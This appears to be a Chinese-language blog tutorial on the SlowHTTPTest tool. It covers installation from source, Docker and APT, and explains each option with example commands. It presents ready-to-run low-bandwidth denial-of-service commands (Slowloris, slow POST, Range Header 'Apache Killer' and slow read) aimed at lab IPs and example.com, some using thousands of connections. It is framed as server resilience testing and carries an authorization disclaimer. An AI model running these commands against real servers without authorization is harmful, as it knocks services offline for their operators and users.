简介
SlowHTTPTest 是一款高度可配置的工具,可模拟一些应用层拒绝服务攻击。它通过以不同方式延长 HTTP 连接来模拟某些应用层拒绝服务攻击。
Slowhttptest 可实现最常见的低带宽应用层 DoS 攻击,并生成包含测试统计数据的 CSV 和 HTML 文件。
它可实现最常见的低带宽应用层拒绝服务攻击,例如:
- Slowloris
- Slow HTTP POST
- 通过耗尽并发连接池发起的慢速读取攻击(基于 TCP 持久计时器漏洞)
- 通过对服务器造成巨大的内存和 CPU 占用来发起的 Apache Range Header 攻击。
您可以使用它来测试您的 Web 服务器是否存在 DoS 漏洞,或者仅仅了解它可以处理的并发连接数。SlowHTTPTest 适用于大多数 Linux 平台、OS X 和 Cygwin(一个类似于 Unix 的环境和适用于 Microsoft Windows 的命令行界面),并附带 Dockerfile,使操作更加便捷。
安装
源码安装
通过以下命令来进行克隆项目源码,建议请先提前挂好代理进行克隆项目。
git clone https://github.com/shekyan/slowhttptest.git
进入目标并查看。
cd slowhttptest/
ls
配置编译参数。
./configure
编译
make
进入 src 目标并查看。
cd src/
ls
运行以下命名,如果出现这个界面,就说明安装成功了。
./slowhttptest -h
Docker 安装
通过以下命令来进行克隆项目源码,建议请先提前挂好代理进行克隆项目。
git clone https://github.com/shekyan/slowhttptest.git
进入目标并查看。
cd slowhttptest/
ls
拉取 alpine 3.17的镜像。
sudo docker pull alpine:3.17
构建 docker 容器
sudo docker build -t slowhttptest:lastest .
运行docker容器,如果出现这个界面,就说明安装成功了。
sudo docker run slowhttptest:latest -h
Docker 镜像安装
也可以通过 docker 拉取镜像的方式来进行安装
sudo docker pull shekyan/slowhttptest:latest
运行以下命令,如果出现这个界面,就说明安装成功了。
sudo docker run -it shekyan/slowhttptest -h
APT 包管理器安装
Kali Linux 默认是没有安装 slowhttptest 工具的,可以通过以下命令来进行安装
sudo apt install slowhttptest
使用
1. 帮助文档
slowhttptest -h
2. 常规使用
用法: slowhttptest [options ...]
slowhttptest
上面蓝色字体的解释:
test type:测试类型
number of connections:连接数
URL:网址
verb:使用的HTTP方法
cookie:网址的cookie
header:HTTP 标头
Content-Length header value:Content-Length 标头值
follow up data max size:跟进数据最大大小
interval between follow up data:随机数据之间的间隔
connections per second:每秒连接数
probe connection timeout:探针连接超时
test duration:测试时间
using proxy:使用代理
max length of followup data field:后续数据字段的最大长度
下面绿色字体的解释:
slow HTTP test status on 0th second:第 0 秒的慢速 HTTP 测试状态
initializing:正在初始化
pendgin:待处理
connected:已连接
error:错误
closed:已关闭
service available:服务可用
测试模式
3. -H
慢速报头,又名 Slowloris(默认)。
以 SlowLoris 模式启动 slowhttptest,发送未完成的 HTTP 请求。
slowhttptest -H -u http://192.168.174.223/
4. -B
慢速主体,又名 R-U-Dead-Yet
以 Slow POST 模式启动 slowhttptest,发送未完成的 HTTP 消息体。
slowhttptest -B -u http://192.168.174.223/
5. -R
范围攻击,又名 Apache Killer
以 Range Header 模式启动 slowhttptest,发送恶意的 Range 请求头数据。
slowhttptest -R -u http://192.168.174.132/
6. -X
慢速读取,又名 Slow Read
以 Slow Read 模式启动 slowhttptest,缓慢读取 HTTP 响应。
slowhttptest -X -u http://192.168.174.132/
报告选项
7. -g
生成套接字状态变化的统计信息(关闭)
强制 slowhttptest 在测试完成时生成 CSV 和 HTML 文件,文件名中包含时间戳。
slowhttptest -H -g -u http://192.168.174.132/
通过 Excel 去打开 slow_2025_05-30_16-32-23.csv 文件查看。
通过 Firefox 浏览器去打开 slow_2025_05-30_16-32-23.html 查看。以下是生成的 HTML 页面。
8. -o file_prefix
将统计信息输出保存在 file.html 和 file.csv 中(-g 选项必需)。指定自定义文件名,与 -g 一起使用有效。
slowhttptest -H -g -u http://192.168.174.132/ -o test
9. -v level
详细程度 0-4:Fatal(致命), Info(信息), Error(错误), Warning(警告), Debug(调试)。指定日志记录的详细级别。
slowhttptest -B -u http://192.168.174.132/ -v 0
slowhttptest -B -u http://192.168.174.132/ -v 1
slowhttptest -B -u http://192.168.174.132/ -v 2
slowhttptest -B -u http://192.168.174.132/ -v 3
slowhttptest -B -u http://192.168.174.132/ -v 4
常规选项
10. -c connections
目标连接数 (50)。指定测试期间要建立的目标连接数。
slowhttptest -R -u http://192.168.174.132/ -c 100
11. -i seconds
后续数据间隔秒数 (10)。指定 slowrois 和慢速 POST 测试的后续数据间隔。
slowhttptest -H -u http://192.168.174.132/ -i 20
12. -l seconds
目标测试时长 (240)。指定测试持续时间(以秒为单位)。
slowhttptest -B -u http://192.168.174.132/ -l 100
13. -r rate
每秒连接数 (50)。指定连接速率。
slowhttptest -B -u http://192.168.174.132/ -r 100
14. -s bytes
内容长度标头的值(如果需要) (4096)。指定慢速 POST 测试的 Content-Length 标头值。
slowhttptest -H -u http://192.168.174.132/ -s 1024
15. -t verb
请求中使用的动词,对于较慢的标头和响应,默认为 GET;对于较慢的正文,默认为 POST。指定 HTTP 请求中使用的动词。
slowhttptest -H -u http://192.168.174.132/ -t POST
16. -u URL
目标的绝对 URL (http://localhost/)。指定 URL。
slowhttptest -H -u http://192.168.174.132/
17. -x bytes
每个 tick 的后续数据的每个随机名称/值对的最大长度,例如-x 2 生成 X-xx: xx 表示标头,&xx=xx 表示正文,其中 x 为随机字符 (32)
指定 slowloris 和慢速 POST 测试的后续数据的最大长度。
slowhttptest -H -u http://192.168.174.132/ -x 64
18. -f Content-type
标头的 content-type 值 (application/x-www-form-urlencoded)。指定 Content-Type 标头的值。
slowhttptest -H -u http://192.168.174.132/ -f application/json
19. -m accept
标头的 accept 值 (text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5)。指定接受标头的值。
slowhttptest -H -u http://192.168.174.132/ -m text/html,*/*
探测/代理选项
20. -d host:port
所有通过 host:port 的 HTTP 代理转发的流量(关闭)。指定所有连接要连接的 HTTP 代理服务器。
slowhttptest -H -u http://192.168.174.132/ -d 192.168.174.129:10809
21. -e host:port
探测通过 host:port 的 HTTP 代理转发的流量(关闭)。指定探测连接要连接的 HTTP 代理服务器。
slowhttptest -H -u http://192.168.174.132/ -e 192.168.174.129:10809
22. -p seconds
探测连接后等待 HTTP 响应的超时时间,超过该时间服务器将被视为无法访问 (5)。指定在将服务器标记为 DoSed 之前,等待探测连接 HTTP 响应的时间间隔。
slowhttptest -H -u http://192.168.174.132/ -p 10
23. -j cookie
标头的 cookies 值(例如:-j "user_id=1001; timeout=9000")。
slowhttptest -H -u http://192.168.174.132/ -j "user_id=1001; timeout=9000"
范围攻击特定选项
24. -a
范围标头中范围的起始左边界 (5)。设置 Range Header 攻击的范围说明符的起始值。
slowhttptest -R -u http://192.168.174.132/ -a 10
25. -b
范围标头右边界值的字节限制(2000)。设置 Range Header 攻击的 range-specifier 限制值。
slowhttptest -R -u http://192.168.174.132/ -b 3000
慢速读取特定选项
26. -k num
连接中重复相同请求的次数。用于如果服务器支持持久连接,则乘以响应大小 (1)。指定慢速读取测试中每个套接字请求资源的次数。
slowhttptest -X -u http://192.168.174.132/ -k 5
27. -n seconds
从接收缓冲区读取操作的间隔(以秒为单位)(1)。指定慢速读取测试的读取操作间隔。
slowhttptest -X -u http://192.168.174.132/ -n 5
28. -w bytes
指定窗口大小范围的起始字节数 (1)。指定在慢速读取测试中,TCP 通告窗口大小的起始范围。
slowhttptest -X -u http://192.168.174.132/ -w 5
29. -y bytes
指定窗口大小范围的结束字节数 (512)。指定在慢速读取测试中,TCP 通告窗口大小的结束范围。
slowhttptest -X -u http://192.168.174.132/ -y 1024
30. -z bytes
仅需调用一次 read() 即可从接收缓冲区进行慢速读取 (5)。指定每次 read() 操作从接收缓冲区读取的字节数。
slowhttptest -X -u http://192.168.174.132/ -z 20
综合使用
使用 Slowloris 模式 (-H) 的 1000 个连接 (-c 1000),并生成带有输出文件名 (-o slowhttp) 的统计数据 (-g>)。使用 10 秒等待数据 (-i 10),使用 200 个连接 (-r 200) 对目标 URL (-u http://192.168.1.202/index.php) 进行 GET 请求 (-t GET),最大长度为 24 字节 (-x 24),超时时间为 3 秒 (-p 3)
slowhttptest -c 1000 -H -g -o slowhttp -i 10 -r 200 -t GET -u http://192.168.1.202/index.php -x 24 -p 3
启动 host.example.com 的 slowloris 测试,连接数为 1000,统计信息记录在 my_header_stats 中,后续头信息的间隔为 10 秒,连接速率为每秒 200 个连接
slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://example.com/index.html -x 24 -p 3
启动 host.example.com 的慢速 POST 测试,连接数为 3000,统计信息记录在 my_body_stats 中,后续头信息的间隔为 110 秒,连接速率为每秒 200 个连接,Content-Length 头信息的值为 8192,后续数据的最大长度为随机值,限制为 10 个字节,探测连接等待 3 秒,等待 HTTP 响应,然后将服务器标记为DoSed
slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://example.com/loginform.html -x 10 -p 3
使用 1000 个连接对 host.example.com 进行 Range Header 测试,使用 HEAD 动词,生成 HTTP 头范围:0-, x-1, x-2, x-3, ... x-y,其中 x 为 10,y 为 3000,连接率为 500:后续头之间的间隔为 10 秒,连接率为每秒 200 个连接
slowhttptest -R -u http://example.com/ -t HEAD -c 1000 -a 10 -b 3000 -r 500
使用以下方式对 host.example.com 进行慢速读取测试8000 个连接,不生成统计数据,连接速率为每秒 200 个连接,TCP 通告窗口大小为 512 到 1024 之间的随机值,slowhttptest 每 5 秒从每个连接读取 32 个字节,每个连接流水线处理 3 个请求,探测连接等待 3 秒 HTTP 响应,然后将服务器标记为 DoSed
slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://example.com/resources/index.html -p 3
通过 HTTP 代理服务器(地址为 10.10.0.1:8080)对 host.example.com 进行慢读测试,连接数为 8000 个,不生成统计数据,其余测试值为默认值。 slowhttptest 最有可能测试的是 HTTP 代理服务器本身,而不是目标服务器,但这完全取决于 HTTP 代理服务器的实现
slowhttptest -d 10.10.0.1:8080 -c 8000 -X -u https://example.com/resources/index.html
启动 host.example.com 的慢读测试,并将探测流量定向到 HTTP 代理服务器(10.10.0.1:8080),连接数为 8000,不生成任何统计信息,其余测试值为默认值。为探测连接指定另一个连接通道有助于确保 slowhttptest 显示被测服务器可用性的有效统计数据
slowhttptest -e 10.10.0.1:8080 -c 8000 -X -u https://example.com/resources/index.html
-X 以 1000 个连接启动慢读测试,每秒创建 200 个连接。每个连接的初始 SYN 数据包将具有 512 到 1024 之间的随机通告窗口大小值,应用程序每 5 秒从每个套接字的接收缓冲区读取 32 个字节。为了增加整体响应大小,我们使用管道因子 3,即每个套接字请求同一资源 3 次。如果 3 秒后仍未收到响应,探测连接将被视为服务器受到 DoS 攻击。
slowhttptest -c 1000 -X -g -o slow_read_stats -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://example.com/resources/index.html -p 3
总结
通过对 slowhttptest 工具的实际操作与分析,可以清晰地理解慢速 HTTP 攻击的工作原理及其对 Web 服务稳定性的影响。该工具支持多种慢速攻击模式,如 slowloris、slowbody、slowread 等,能够有效模拟真实网络环境中的资源耗尽型攻击场景。它为安全测试人员提供了一个精确、可控、可复现的测试平台,有助于评估服务器在处理异常请求行为下的响应策略与防御机制。合理使用 slowhttptest,不仅有助于发现潜在性能瓶颈,也可为构建更健壮的 Web 应用提供参考依据。
在此特别强调,本教程仅在合法授权的情况下进行测试和研究,请勿用于其他用途。未经授权使用此类工具可能会侵犯他人隐私,触犯相关法律,任何因此引发的法律或利益纠纷与本人无关。
欢迎各位大佬,小白来找我交流。